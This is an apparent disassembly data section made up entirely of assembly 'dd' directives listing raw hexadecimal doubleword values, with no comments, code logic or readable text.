dd 70C359F8h, 66AE987Bh, 3F2E394Dh, 80B3DC1Fh, 2B37A08Dh
dd 0F30FA9D1h, 61C9437Fh, 0C67D64CEh, 76F1C5C8h, 8E90F4h
dd 53B5BF6Bh, 0E766C892h, 0EB074003h, 0E0250F6Fh, 8D1CEFh
dd 0FE11EA46h, 4FD6902Ch, 0B923ED01h, 2BD5D830h, 0B5C8E4h
dd 62AA4DABh, 40736BF8h, 0C29A3Ah, 148D0A18h, 0E8D0BCh
dd 3C1AFF51h, 0C1F858EFh, 5901B000h, 0D248395Ah, 413003D7h
dd 747389DFh, 0C61E03D0h, 52E88300h, 81010495h, 4ECC0EFEh
dd 85A7C437h, 0C23513D2h, 4CD9FAF0h, 904D701Ch, 80BCF48Bh
dd 89200DDEh, 5BE8005Ch, 1B138798h, 4C0F3AEBh, 11243E3h
dd 5A1D92B6h, 2CA930h, 7C023C7Fh, 939590Dh, 0E40BCF02h
dd 40171483h, 12633EDh, 2E6AB31Dh, 0D0BC5B5Ah, 8000101Fh
dd 9547E8Fh, 72FD94h, 7118393h, 0A12BEB0Ah, 0C8F23E90h
dd 15B98200h, 8C8A1284h, 19260107h, 8DAFCA52h, 0E444C50Fh
dd 483978B3h, 72670F6Bh, 0F801B60Eh, 0FCC23FA5h, 2C0CC060h
dd 7213551h, 45E48C21h, 523FC112h, 0D85860E0h, 2A269000h
dd 7BA927E8h, 1190029h, 3200447h, 0F30F0B9Dh, 20247449h
dd 1781C63Fh, 0AB971DE8h, 842D4333h, 76DE117Ah, 5932C700h
dd 5EDF6D48h, 35F5006Fh, 3E7D8237h, 2100834Dh, 10FE935Dh
dd 6C949Dh, 74D4CFC9h, 33E809F1h, 97C60639h, 74003698h
dd 0D3B96C4h, 20750BCAh, 37809002h, 0BEC6490Ch, 0CC005EFEh
dd 2152E18Dh, 1B7CAAAh, 2C602931h, 0C88F2482h, 4000BAA2h
dd 3D0226F8h, 17F42EFh, 0BB5C5116h, 0F0825412h, 750FD2AAh
dd 0C05E5308h, 34A913EAh, 0BFDCFD84h, 32EE844h, 64E180BDh
dd 77A85374h, 84008E0Fh, 1F1728B1h, 17E6C88h, 920B7B4Ch
dd 2031D719h, 0EBFE8EA3h, 281F421Ch, 0F4BB7483h, 1663C826h
dd 0D10D00E4h, 120E2767h, 410049D8h, 0C71B954Eh, 1E07889Ah
dd 0C042E909h, 18EB3BF6h, 2900A448h, 927D830Ah, 78498C7h
dd 38153DFDh, 0C4B3F045h, 8C033501h, 0D9B1D628h, 0F30AD04Bh
dd 32CE13EEh, 51500044h, 3E66F54Ch, 0B0EEBCE8h, 658B6100h
dd 0D33C7405h, 0D6030017h, 0EB4D3292h, 0F20011C1h, 5758C41h
dd 3D69DAh, 5CAD3307h, 4E0E6A01h, 5D4B7E00h, 5595D464h
dd 2DB6008Dh, 0A50A9617h, 291DDAE8h, 99C094B1h, 0C2E9FC82h
dd 32D54CAFh, 0EA685500h, 40265A20h, 85213100h, 7C383E1h
dd 46E300CEh, 0D282FBB2h, 0AE05BB05h, 52810F8Bh, 8F501F87h
dd 1DCDB693h, 81841C49h, 7974427Dh, 3C6E848h, 0A7C3520Fh
dd 5506124h, 263075D0h, 840D012Ah, 890B4BB8h, 0E19B607Ch
dd 2801BC98h, 183DE29Fh, 0AF08F44h, 214D07D9h, 2006AD84h
dd 61780D2Eh, 52757D00h, 0BC2AEFA5h, 40F204AEh, 80841DEBh
dd 4C1F41A4h, 483BD01Eh, 7F82E180h, 4AB294Ah, 35541408h
dd 8E55C00Dh, 9200492Ah, 0D3651D88h, 0F27D557Bh, 109A0032h
dd 41690E53h, 80F92C5h, 4F620C7h, 6E87568Bh, 0A8995D30h
dd 92881224h, 91FA0751h, 6048E7FAh, 59141FA2h, 9FF01602h
dd 0C0A8F562h, 73E912EAh, 99610368h, 0D61B2266h, 0F15DE0D7h
dd 0F6001E40h, 0F7502C3h, 904443A4h, 38620940h, 718CFF79h
dd 897FC33Ch, 5AB56005h, 0AC003A29h, 74015430h, 8B5D0245h
dd 9C7204E9h, 67B545C0h, 71F7D500h, 53CC29E0h, 0A21043Fh
dd 0C02B484Ch, 7C463BC5h, 95031800h, 0A69A0C89h, 0A4570059h
dd 0F8824EE2h, 44033D3Bh, 2C752448h, 0C456A071h, 814B0080h
dd 0B50D4B2h, 5007E2Eh, 709A6985h, 0B8A54Ah, 4108BDCh
dd 7402C2F6h, 1EE61C3Ah, 2880FA17h, 0E840BF4h, 8830237h
dd 8B29A301h, 0D0781FE0h, 0B5BB601h, 16065D4Ch, 0C0D30h
dd 8B13C524h, 598E9F14h, 0D38A3200h, 66252C88h, 933D01A1h
dd 226D62A6h, 0E2864017h, 82E897B0h, 8C65305h, 8B80E6EDh
dd 7BE21h, 0F15E88Bh, 14DE7E5Dh, 0C2F1B800h, 40C703C5h
dd 0FE3B3DC8h, 838C0F81h, 60D70B1Ch, 0BD00639Dh, 75F831FDh
dd 0E06C38h, 36052913h, 1791253h, 0E17D9900h, 0A94C8D0Fh
dd 29160EECh, 0DE60901Fh, 22E9F743h, 33041400h, 203F6D8h
dd 542803BDh, 9ED401D3h, 0FB52D790h, 8B1BD8E1h, 50DD5Ch
dd 0FE835DD2h, 3ECE89h, 35EAF594h, 5693C4Ah, 0B5C7A91Eh
dd 67845C40h, 4F2E96h, 537C23B8h, 68A9C2BCh, 0F715B600h
dd 18E50EB1h, 14280054h, 8F350385h, 80E35019h, 1DA42CBCh
dd 252638h, 0F00B401Ch, 0D7947589h, 3BE90D00h, 54CA23DDh
dd 0A4DF0095h, 784D49B1h, 0B00C22Dh, 2FE4EB7Fh, 23B06h
dd 560E7D9Ah, 0DA293E83h, 0E531E000h, 9E262CEBh, 6A870052h
dd 0E64D124h, 86004095h, 0D3BB48C7h, 1E3A1Fh, 27E2A934h
dd 2E89298Fh, 4656EE00h, 390C4821h, 5F78D8h, 0F37A09A0h
dd 74286244h, 131C77EEh, 21C02BE9h, 5A19EB4Ah, 0F7D200A7h
dd 0A27458B8h, 0FC00EDF2h, 0F114FBC2h, 5F98822h, 0C79CDE24h
dd 73928028h, 5008012h, 0EBFC5D89h, 6C9A36h, 330F4732h
dd 48030BF8h, 859FB200h, 0DBC629Ch, 7DF0004Fh, 92F3802h
dd 500011F8h, 91CB041Ah, 91613E8h, 0CF84EBB8h, 7D898B00h
dd 691D93CEh, 0CB009760h, 40C8388Bh, 16FF000Ah, 58501015h
dd 10014D7h, 7E8492C3h, 4C55CA87h, 7C9190h, 2247532h, 85088B70h
dd 74C9121Eh, 0E90080D2h, 0C86E8950h, 33D10242h, 0ED197559h
dd 0F9EC23E0h, 3A002B7Dh, 9952EB95h, 31065h, 32D753D0h
dd 989EE722h, 5E09300h, 58040DF0h, 3AF00AAh, 0D1FF025Ah
dd 80008A48h, 79BEA0B5h, 383E80Bh, 0FB8B3F40h, 0E988083Dh
dd 0CBE0242Fh, 0C9C8CC01h, 0CDE8CFD7h, 0DBCEC0h, 0DAD9CAD8h
dd 0DE07DDDCh, 0E1E0DF00h, 0E5E402E3h, 505800C8h, 2E515552h
dd 90FB8D1h, 805ABC8Ah, 0C03188B2h, 50C900CCh, 808F1EA8h
dd 101FA284h, 0D2870FA0h, 1160888Bh, 0A99089h, 91A4C806h
dd 0C6BF3ECBh, 16D7B000h, 1277F739h, 2F740013h, 2A7829C0h
dd 0A5017FF3h, 0E13B83F0h, 31C4A403h, 5C747130h, 7C3BE80Eh
dd 19A00F00h, 1AA6FD11h, 0CDCBB000h, 2541C706h, 0C380052h
dd 5BEAE8C3h, 6000E29Eh, 0B70FA973h, 107F045h, 663CC06Bh
dd 0F0F27603h, 4000E0DEh, 1F4558Bh, 3F669D0h, 0B68248E8h
dd 2B81964h, 3C1F0589h, 0E5DCFAAFh, 83908A00h, 260CECh
dd 31BFD99Bh, 241C2D08h, 95DF2100h, 2C164C8Ch, 2B5900FEh
dd 14985A58h, 1D07CFC7h, 0D69D078Ah, 0E83C920h, 0C2880046h
dd 0A72CA80h, 141717ECh, 72070147h, 28E0FEC0h, 0F1EB2D1h
dd 69EEEBFFh, 0C0D26705h, 0D08046A4h, 0F127212h, 0E776100h
dd 5CA3D1EFh, 2103A317h, 3BDD75Ch, 760F2AF0h, 0CAB0F700h
dd 0C939E8EBh, 64630048h, 68350A8Ah, 0F5E06241h, 18E9C102h
dd 0E052E09Ah, 275588h, 0F451D830h, 12EEF6CEh, 26002BB0h
dd 1A80F21Ch, 3F75D939h, 158E4E45h, 2D4089B0h, 1BCB5A73h
dd 27873803h, 90C23708h, 0E2914Eh, 327506EBh, 5EAE16B9h
dd 300D170h, 88A3674h, 580A193Ah, 1300AF75h, 0F40148E4h
dd 0ED16E74Ah, 4C079025h, 0EC800220h, 0B5311Ah, 386C232Eh
dd 0FDE8107Ah, 4FC48h, 0EBD895DEh, 77411DD6h, 90310002h
dd 0CD8815BBh, 0E0040D86h, 440C6610h, 9646E80h, 0ABF31D34h
dd 0AA7DC012h, 69405F62h, 2B441500h, 8714CB8h, 8942052Ah
dd 80F7260Bh
dd 541A25D6h, 50B54100h, 0DC73AE34h, 0DB8607C0h, 102CCBFh
dd 401E8A0Ch, 7420FBD8h, 11F8382Eh, 762D0E00h, 17C0A69h
dd 2466402Bh, 0D8787F84h, 0FE0E5861h, 0C230815Ch, 0E02856ABh
dd 0F4FE9h, 23DB844Ah, 3F04EB20h, 0F7340D02h, 60243060h
dd 392CC4h, 281FF874h, 18E048Dh, 0D84DC000h, 75348255h
dd 0CDFE0EE6h, 0D400C463h, 3159127Ch, 0CB89F628h, 46140200h
dd 0D8F701FEh, 78F00B7Eh, 0A507ECEEh, 0E03747F6h, 0BC7251C5h
dd 0FFF8BF00h, 74320F54h, 92DF3961h, 94030FFDh, 86A020A2h
dd 40100B76h, 3E051100h, 0C399D077h, 0C9BF000Ah, 0B004EE42h
dd 0EB1FD55Dh, 5042A907h, 84D3FFB1h, 9EC7E8B5h, 884000CEh
dd 0C9FE28h, 3C5AF275h, 2A8D029h, 0FF16FC00h, 30E35825h
dd 0DB330012h, 40ABF2E0h, 0F008318h, 1C7507F8h, 0C018Ah
dd 0E127259Ch, 0EBC23DAEh, 70005BE4h, 5381A224h, 37101B3h
dd 4FA07615h, 8788C384h, 503F8205h, 0F82C8E5Ah, 0EC3C408Dh
dd 368866Ah, 0B1C7805Bh, 27A05259h, 660133E8h, 0E94D78F8h
dd 42F4A470h, 30201C29h, 45C7C00Dh, 77C391F4h, 50666000h
dd 0E168F808h, 269C0012h, 0E835838Bh, 0CB03673Bh, 16602B6Ah
dd 0A938A317h, 0BC7028EFh, 25EC0071h, 0E7FFC026h, 8702F89Fh
dd 0C33FE283h, 0A3B3C00Bh, 0EC2A004Dh, 4F53019Ch, 570E5446h
dd 4552F0h, 726F425Ch, 6E611F6Ch, 77440064h, 68701F65h
dd 52C76907h, 46004C54h, 4D5550h, 6B73610Eh, 756C8256h
dd 0CDC46500h, 13E3C32Ch, 0B33A00A8h, 0BF62E08h, 0F8A0D470h
dd 921F6641h, 8BDFDC59h, 7E8D800h, 0C27790h, 3FE91C58h
dd 0A09B2F1Ah, 8F69EF00h, 5E360F15h, 2EFD003Dh, 837ADC76h
dd 773DE807h, 0D8458029h, 0E975F681h, 0FB3C00E4h, 0DC78A021h
dd 340184CCh, 0EC9BE08h, 28FC1BE8h, 0F58000Ch, 641361B6h
dd 460B058Fh, 200A3078h, 0A7197B17h, 6B5D0087h, 58144C99h
dd 2000E07h, 51FF01B2h, 0ECF2FCh, 0ABD7CBC0h, 98D84B8Bh
dd 4C793Fh, 635513CEh, 3B59AE09h, 2C5CAD9Ah, 2C2EE200h
dd 18FD0B8h, 5B0D5100h, 600731FEh, 0F1B0335h, 0D439EDEBh
dd 46DE1DA8h, 0C3830B03h, 0B8734C1Ch, 1BEF63Eh, 147B0306h
dd 20383489h, 49001C1Eh, 0E3D13B75h, 0D4363Eh, 0E01076C9h
dd 9AD05139h, 78D9460Eh, 0F312A190h, 9C20B0C3h, 934F0057h
dd 4A68CC96h, 0FD0009D0h, 4BD30E0Dh, 768051h, 0AFF26602h
dd 59550AF8h, 7F896400h, 0AB8358C3h, 0F0C80029h, 0F7FC475Ch
dd 0B80A9196h, 0F480C4B0h, 4563C00h, 3D8F5324h, 91E1A1Ch
dd 5E17C790h, 888B290Ah, 0E8D28D80h, 330092AFh, 7601584Bh
dd 0FF5BD9h, 89F43E1h, 40F061A9h, 5152E800h, 7CF6A053h
dd 50F80003h, 4A48F45Ch, 1000D881h, 896E8E64h, 5C694519h
dd 4072408h, 0D0DF2B49h, 0FB0CA43Bh, 5B0A050Fh, 0E99BE059h
dd 19C1C87h, 82C457Ch, 70090CACh, 1D00222Fh, 1E495081h
dd 1D312358h, 0D7E32575h, 10F20018h, 0F852FF12h, 7A89500h
dd 0AC58E409h, 0A37F00BAh, 0EAAEFD4h, 0E500E806h, 8012E073h
dd 6041043Dh, 6A10E4E1h, 6B0466C2h, 0EDFADF05h, 0F6804F84h
dd 24CC35h, 16DBC31Ch, 541962B6h, 3D026A00h, 0A3480AE4h
dd 98083D32h, 52D16680h, 48814E0h, 80502B3Ah, 733F8C09h
dd 28C7E995h, 8C528Bh, 1253CA07h, 0C9FC6949h, 9006E70h
dd 39800141h, 128F4E9h, 81EB0ACBh, 30BE0F95h, 8B008F22h
dd 10526E0h, 7C5DE7h, 0D21C6892h, 0EBAE0361h, 886ED400h
dd 0C55951E1h, 2805385Ah, 4352119Ch, 46E22120h, 76D5F0D8h
dd 0F8A1E00h, 29E3C4BFh, 11CF2A4h, 0F7BAE169h, 20E99CDFh
dd 85160FC0h, 73000DB9h, 8B45DE38h, 0E6182C50h, 741405FBh
dd 0A7FEC03Ch, 49023E19h, 22C80CCEh, 8438C0D2h, 0FF450E97h
dd 14E09356h, 0BD8B258Dh, 0E0E15AF4h, 0CE013981h, 0E48EFFAh
dd 1BF065C6h, 85094C89h, 0C937C3Fh, 2570083h, 62DB3153h
dd 0C1417500h, 0C4ACE61Bh, 0A328005Fh, 0A68C882h, 0F074D22Dh
dd 419B7A00h, 71247C1Ah, 0FF0D050Eh, 80941DB0h, 8B13061Ah
dd 7C016F00h, 47C7045Fh, 0A6361FCDh, 0AC32C051h, 0E3FF22EFh
dd 9CDDC600h, 42886596h, 79C9427h, 204108A0h, 1A4033E9h
dd 0B286B850h, 0A1D0D50Eh, 8D0ACA1Eh, 0A2CA1F00h, 0F4023808h
dd 750D3E8Ch, 0B386E980h, 0F1454231h, 8D0220Eh, 5A00D35Ch
dd 559018Bh, 971018Dh, 6EDC589h, 0F043E834h, 0FE9AEF1Dh
dd 3E183F80h, 3728F8h, 3BD81CDAh, 1775CC4Fh, 0F6D46400h
dd 960DBA57h, 9471674h, 1FD30FD0h, 0C6289AE0h, 0DC267F8Ch
dd 751F9E69h, 88383DEh, 0D8C0D94Bh, 6152AAh, 93149950h
dd 0FFA96E5Ch, 24561B01h, 71381CE9h, 3384F0F7h, 48300F8Fh
dd 10E08945h, 852E3F35h, 6A5B1203h, 0B3334936h, 0D337D06Bh
dd 0DBE800B3h, 63FFA509h, 35071704h, 9208BAC9h, 903C4E90h
dd 3EF4ED30h, 164200C7h, 77F32EC4h, 6A00267Eh, 0E8869608h
dd 3AD1C23h, 49D4D152h, 5A88C06Eh, 57005554h, 1C53562Ch
dd 0F80745h, 7BDF5222h, 548BE929h, 0C7304300h, 2F33A01Eh
dd 0A9833FEBh, 89800AB8h, 0C042C48Bh, 4026022h, 9AA093FDh
dd 0B593400Dh, 0BE4E0392h, 0D3B8BA6Ah, 5B389C0h, 0C0100607h
dd 1181125Dh, 71206FA5h, 48ED0049h, 64F25A3Ah, 0D2000AB8h
dd 8018C574h, 0E85D98h, 2DABA44Bh, 6705C3E2h, 0E9B84C00h
dd 3465C0D5h, 1FBEF402h, 2250CC2h, 0D768D3F1h, 1C4BF5C0h
dd 61BAA809h, 92408048h, 0C02081h, 5C742C7Fh, 9438EE5h
dd 57C81500h, 778B052Dh, 876F0020h, 483DC7CFh, 0EB3F4EA0h
dd 715C0060h, 833F01DAh, 91C500E8h, 0F830F936h, 500F3D52h
dd 81112A96h, 0C932D38h, 462EDCh, 2406C313h, 0FDFA3AEBh
dd 2F0F8600h, 94281F50h, 2C870326h, 2A47C8B0h, 5E8FC990h
dd 22E4CDFCh, 1903CFE8h, 0F11A211Eh, 0A31693D7h, 0C312B3CEh
dd 0E30ED3D8h, 0F30AF3DAh, 0F006F3D9h, 73ACAh, 2A25FFFBh
dd 0C5240D5h, 807FE83Ah, 0C22C5D1Fh, 0AD0A404h, 0C89B6C75h
dd 16A600AFh, 14305542h, 26A2B700h, 60663B81h, 4653004Ch
dd 74184305h, 0B6008E1Dh, 13821B27h, 3DCCD889h, 1900FDB8h
dd 674ABA44h, 0D003B4Eh, 25FACD16h, 3C86217h, 49D9B814h
dd 29B05112h, 4D7F211Dh, 86384001h, 0A248A48h, 0EA577360h
dd 309B0ACDh, 0E6DBE3h, 7CA005E2h, 2A00698Ch, 47B00B60h
dd 1E75C839h, 0E14590h, 83092E53h, 0FF003EF9h, 1398674h
dd 322F575h, 64938976h, 0BFA848A6h, 4724F19Ch, 541EE216h
dd 82E40B80h, 4703Ch, 3A219DFAh, 0DB854031h, 77127E00h
dd 4433C34Bh, 0AB0458DEh, 0C4D09700h, 0E7EE7F24h, 0EB5C12E4h
dd 70F1006Ah, 0DD942010h, 374900CFh, 1EAB2229h, 9000C062h
dd 0B7A4A160h, 4B9319h, 743330F8h, 5E7854DBh, 84859A00h
dd 817EF33Bh, 0DF04001Ah, 521DCE60h, 6C0E27A8h, 0EF7F28C1h
dd 51B880ECh, 0EBEBAC4h, 7D8D419Ch, 402EB9E3h, 8FA5F3C0h
dd 0D9BC0500h, 10B80C21h, 0B02D1E89h, 0B41D0784h, 42A4F008h
dd 8DF2AC15h, 0A0C44D2Eh, 0C1374500h, 277D8327h, 360177Bh
dd 44792008h, 0F6C5823Ah, 40300CF2h, 481DD6A2h, 98C80759h
dd 30C2C415h, 0E2FF0374h, 56263Dh, 53686A7h, 0DCFD41h
dd 1C4A3D83h, 7754890h, 333C63Fh, 2E011324h, 0D1C0DC2Bh
dd 1A20C9h, 0A214FE8h
dd 24DC1F6Ah, 8D188400h, 6460C70h, 539C0016h, 2E32AB08h
dd 0EE02657Dh, 0A21CBA15h, 1DD404Eh, 0A19039C8h, 170C3C81h
dd 0F4C4E3ECh, 300033BFh, 0B0ACBBAFh, 389DB924h, 0D1000329h
dd 0C280F1F7h, 250088FEh, 1C064B13h, 0E453CF2h, 2F946038h
dd 0BA83B43h, 0D02992E8h, 5903BB7Fh, 830FAEB8h, 0CD8A98E2h
dd 81170048h, 0D7E8C157h, 3C00ED97h, 0E26492D4h, 0DA098Dh
dd 0FF191546h, 20061C77h, 2737F100h, 4C4E4836h, 872A0055h
dd 0D8F71E73h, 40008B19h, 5E8E09C9h, 0BB6584h, 18BE380Ah
dd 0B34BF0Ch, 7B5F8000h, 0CA167AC2h, 6A5600ECh, 0D0891705h
dd 7609E3BCh, 8031E8F0h, 0EF75235Ch, 38120320h, 3E740584h
dd 0ED2287F0h, 7F21BA24h, 2040161Dh, 14B88C42h, 0AFA20062h
dd 0AC0E379Bh, 0EB000B1Eh, 0F20D134Bh, 0D63140h, 0E8181D8Ch
dd 91B5C370h, 48385002h, 0C0250263h, 5099D2E5h, 0F89F761h
dd 0F7230C43h, 76012B03h, 3F9215D8h, 6D00DCB0h, 3BE8AEC4h
dd 194F96h, 0EBFF50FEh, 6740498h, 456EB000h, 4CC7D5CBh
dd 3982Dh, 285329B1h, 0FE8525AEh, 8F46D703h, 0F8A03B83h
dd 63E66h, 4DBBB750h, 0DE560382h, 0FB150F1Ch, 0EB5EC040h
dd 6F508Ch, 6974721Dh, 20736E03h, 70C94300h, 67D1EF79h
dd 0D0FB0068h, 0FC296328h, 39000E31h, 8F2C3338h, 1FD99637h
dd 4055C290h, 28238960h, 0D4E5E90Bh, 8F3DA7A4h, 0DDF3808Dh
dd 4D8BB3C8h, 1C1E0010h, 0FD2EC71Bh, 0F8004A60h, 0F357C49h
dd 5030C89h, 428D50CBh, 6C49C0E1h, 580F2D8Bh, 4ED684B9h
dd 19558013h, 7B2C03C7h, 856070Dh, 700F5B29h, 46DBCB4Eh
dd 50CCF800h, 2D414523h, 51A007Fh, 65C34219h, 0D3775BFBh
dd 480018E4h, 3DE6B904h, 0EB995Ah, 42877903h, 4B95137Bh
dd 0D093A700h, 2B093622h, 2A7E0341h, 0EC8D8D2h, 83501CB0h
dd 0C400AB7Eh, 810C338h, 0F2895Ah, 0F85BE1FCh, 0C60DE329h
dd 4200047Eh, 0B6907774h, 0D667E0h, 0F865CF47h, 0FAF98C63h
dd 0D8C73Fh, 0E9940951h, 914DF0h, 9A21D071h, 56591847h
dd 81588C00h, 0BAF8E0C4h, 0D97E01DDh, 75F1EA74h, 0C75C2038h
dd 0EB23A000h, 0BEFB8167h, 7D8B1398h, 9FE5002Ch, 0AA8D83A4h
dd 503C0207h, 10805553h, 4843E8h, 0B862A6F1h, 3EF40D7Eh
dd 94C71E00h, 2532A5CEh, 0D9330069h, 3D04B50Ch, 20004426h
dd 22548CC5h, 0DE4816h, 0CA460729h, 98B8B480h, 0A90BD00h
dd 0B9E28952h, 2C4A07D1h, 90880BADh, 210F2001h, 0A0F3AFEh
dd 639517EAh, 0C0D68C99h, 70BFE02h, 37310381h, 0EBBD002Bh
dd 680054E8h, 0D1890E42h, 0F6D295Ah, 4C265EE9h, 192D30A0h
dd 3B016652h, 0AB32062h, 0DF8175Bh, 0E323A7Fh, 34810600h
dd 94E4EB08h, 950368C0h, 76623Ah, 0DB501F3Fh, 8A143CA4h
dd 4A0F42FEh, 81579080h, 0D7488951h, 70F217D0h, 0F77C00AEh
dd 0C10158D1h, 0A4005FE6h, 0E060AA19h, 0FC4A62h, 0E77770C2h
dd 0EF6832FEh, 0EE8B031Fh, 3593F701h, 0FECA43Fh, 0E684001Ah
dd 8A4E34FDh, 793C8B1Ch, 0A7301FCh, 0CE39FA01h, 1EA26E8h
dd 88482810h, 0E466505Ch, 91002413h, 2AF5A98Fh, 0F49817h
dd 0D0A0AB90h, 88CAACA5h, 11426100h, 103B1FA4h, 145C001Dh
dd 8B50BC08h, 8F0326E8h, 0E9414B24h, 0EA8B89Bh, 0D3720058h
dd 5C50CE2Ch, 300FC04h, 0C771DC46h, 13DF92h, 674B8BD8h
dd 45FAE573h, 53036300h, 5F580F23h, 7C1F0020h, 0F84F9FB9h
dd 71F28CF5h, 0E9CA8900h, 0E550BA3h, 48740051h, 0A6506A52h
dd 8B0F02EDh, 8710944Ch, 4170B8CFh, 78A4AFCh, 30B05AC3h
dd 3B44A0C6h, 7E00149Ch, 0A258A99Dh, 0CE01D4h, 754B54A0h
dd 7F55E6E9h, 0AC91EF03h, 395A884Ah, 94808D94h, 0CFBE0EBh
dd 91004827h, 0C7A1D039h, 0CB258Fh, 0A8687F34h, 0A38B6B82h
dd 579BAE0Bh, 77740398h, 0C2018802h, 0EAC10052h, 0E9CA35Eh
dd 11011F91h, 4E204A58h, 0AD705F42h, 1CC60F83h, 0DE80D0C7h
dd 5ACDF7E0h, 0ADCFF00h, 38102C22h, 4B410020h, 3A88C317h
dd 81F60E0Ch, 0FFB8E307h, 2BD9E1h, 270573F5h, 0EBC00501h
dd 0C0615D23h, 782D612h, 5E5A1500h, 0CA4B59B6h, 73957214h
dd 2B6000B0h, 74B242F8h, 100E0CD4h, 40FC028Eh, 403861B8h
dd 582800EEh, 879D832Bh, 89005325h, 92D71CFBh, 9AB0A4h
dd 10B54845h, 78E28A0Ch, 975BEA00h, 8353D286h, 252D007Bh
dd 3760FC58h, 84904A26h, 0DA391B01h, 0D3291F7Dh, 1949003Bh
dd 117F9AA0h, 0D9F0A200h, 6F212C5Ch, 0D23107A7h, 0B089E541h
dd 1356CDE3h, 5B682201h, 2E9B8C5Ah, 0FF31CCh, 0D0D848F7h
dd 5883239Dh, 1DDB780Eh, 0E8814075h, 0C2ABFEh, 0E0882009h
dd 0A3B937F0h, 0BDF72C03h, 9070FCE2h, 7301A41h, 0F228989Ah
dd 32A9006Eh, 0EA032110h, 0F1399550h, 0E9DAF87Ch, 74EC4C63h
dd 3850D824h, 680AE38h, 0A1015BE8h, 2600B093h, 17436AA9h
dd 0F4630Ch, 0E73B5D50h, 84D38BDEh, 531C3000h, 0A480B08Ah
dd 31FB1EA5h, 7C0AC009h, 189C06E8h, 21F02507h, 12D77698h
dd 0C42A83B0h, 4F1A0239h, 85E2EC7Fh, 0D0CB8B41h, 0D000C34Eh
dd 1D19706h, 2661F880h, 98EF8Eh, 7A46A00Bh, 5800400Ch
dd 8162FE0Dh, 7BFD0Eh, 24610F02h, 40121688h, 8B8E1100h
dd 0EC588127h, 83180091h, 7FA001F9h, 0C300A60Ah, 0C97CE934h
dd 0C6B0C7h, 0EB29195Fh, 7101A78h, 1D033377h, 532F286Ah
dd 0B161AB09h, 13FC1FB2h, 74850023h, 0E0F38B0Fh, 893B5552h
dd 541880D5h, 32C0A2Eh, 2EC005Ch, 6F4DC98h, 0A339ABA8h
dd 0B81D0029h, 0D43515A6h, 931A003Dh, 77D5DC1Fh, 0F0000516h
dd 11EEB5Dh, 7E80443h, 0F183303h, 8F3CA0DAh, 5400B511h
dd 249DF129h, 0A1AE48h, 4B1FE965h, 408E9052h, 0DA21F1A0h
dd 23751000h, 0C86111C6h, 57F90E26h, 4C7250Eh, 3AA7C03Ch
dd 0B71320D4h, 1F077E66h, 55A038CDh, 3B34239Ch, 0F480A240h
dd 2EADC88Dh, 8900D568h, 84245B1Ch, 0B8C48267h, 2D60190h
dd 6AB0CE16h, 0B2EE708Fh, 0ADA43Ch, 9331D898h, 9F9426h
dd 3D45094Ah, 8E2BAE32h, 0DFF0AA00h, 3356504Ch, 28410157h
dd 2371A4E6h, 9018FC5Eh, 5AA17003h, 0F88031F8h, 1E6B9FCDh
dd 53AFA81Eh, 0AD0200F7h, 0F8BB85D5h, 38575517h, 0E4949200h
dd 0FB078h, 0C2E31BB5h, 0D4089210h, 93BD630Fh, 0D5A927F7h
dd 83287500h, 7772FCFAh, 0E1810023h, 37AC6DA6h, 897A7810h
dd 3EF6191Dh, 661C63C0h, 3A9125C7h, 5E00E9F8h, 6B300D49h
dd 43E669E8h, 80942B38h, 8366196Dh, 132A8038h, 0E1DE31h
dd 97864E77h, 8400FD32h, 274908DDh, 0FF0270h, 0E2481551h
dd 66C061E1h, 5A197B00h, 0F83A6058h, 95110073h, 1EDD130Eh
dd 0B2137A4Ah, 0A4000D48h, 3A70C36Ch, 147F00CDh, 757E880Fh
dd 553C0826h, 8658802Ch, 6DE52F78h, 627C82h, 0EAB17109h
dd 8F814989h, 0C30F507Ah, 152924Ch, 0C0091073h, 85D360h
dd 0D602FF1Dh, 0BCF0655Ch, 8D876E01h, 0B951817Dh, 7D32420h
dd 2DA05989h, 0F045D0D8h, 2B00E816h, 5558902Fh, 4F1068h
dd 0A8C49D3Dh, 0E445A62Dh, 2503E57Dh, 13573898h, 680E51Bh
dd 7B51178Dh, 29230042h, 0C93EB7F3h, 97004F54h, 28C0459Fh
dd 99F96Ch, 1C552407h, 0C62DD503h, 9D123C79h, 3100C8FFh
dd 0A01B48EBh, 604D3C72h, 0BAE14C77h, 0AC428F00h, 0F7272B7Bh
dd 0C392051Dh, 4500DE9Dh
dd 32071AD3h, 1CFB8F6h, 4399F8BAh, 0C3FC0C08h, 0B725EB98h
dd 81EAAF07h, 2C50E8CFh, 18E195h, 3F53CA42h, 2888B4D2h
dd 80035177h, 564A12BDh, 0EDC9C865h, 29C50045h, 387435Fh
dd 0A5000182h, 0CCBD0859h, 176C8397h, 0E05109D8h, 8D03BA60h
dd 3162279Ah, 5672E057h, 6DEE09ACh, 0BFA09C53h, 52D9C907h
dd 0FCD83B00h, 0E81A3111h, 8F500017h, 0CC2EE2E9h, 0A41D3D59h
dd 0CB404875h, 1908FB14h, 2DD30084h, 55F34D29h, 130052EAh
dd 3E716921h, 3C60490Bh, 0CB03586Eh, 0E723613Ch, 2BD308E0h
dd 777C7200h, 4D5EC0B3h, 1D4B73CCh, 80F83231h, 15A3110Ah
dd 770B66C5h, 0B99563h, 0CED94CD2h, 6A1F00D6h, 0A7FC655Ah
dd 4600248Ch, 0F0819A69h, 306D9812h, 877CAB9Ch, 6609EC83h
dd 4D810h, 0B958E0BFh, 0E882001Eh, 0E2512DF3h, 4C486A49h
dd 0C4007645h, 357A5B10h, 590F38h, 0C307658h, 6F70FF1Ah
dd 100106EAh, 998F0428h, 0E2C589A2h, 151E160h, 347B2C5Bh
dd 2014B318h, 0F80049C6h, 1FF62775h, 8042Dh, 54A2804Ah
dd 2F96060Ah, 528CA500h, 3C940745h, 60833CC7h, 0E59A1789h
dd 38967A80h, 0E407864Ch, 721C6A27h, 44F5C08Fh, 1F7B814Bh
dd 0CF104A7Ch, 62075FEh, 2EB7A91h, 24F04633h, 1578D81Ch
dd 72810009h, 19740751h, 41C423Bh, 0FF400A56h, 0C0105E9h
dd 0F27C75h, 0B2848DF5h, 0E72432BDh, 824BE400h, 0D2FEE023h
dd 369A0037h, 9F056830h, 0E30B858Dh, 14521D7h, 0E2B4EBD3h
dd 0EE70D8h, 68D5A3B5h, 520F823Fh, 942D4F00h, 10CC141h
dd 74141C0Eh, 0B0E2401Eh, 6D75243Eh, 0A342960Fh, 0B590C040h
dd 52E83Ch, 0A40EC76Ch, 9AB2BD6Bh, 6F00E072h, 2CDCF96Ah
dd 195329h, 0AC4411Ah, 0A9D0681Bh, 9E3D5B00h, 40AA144Ah
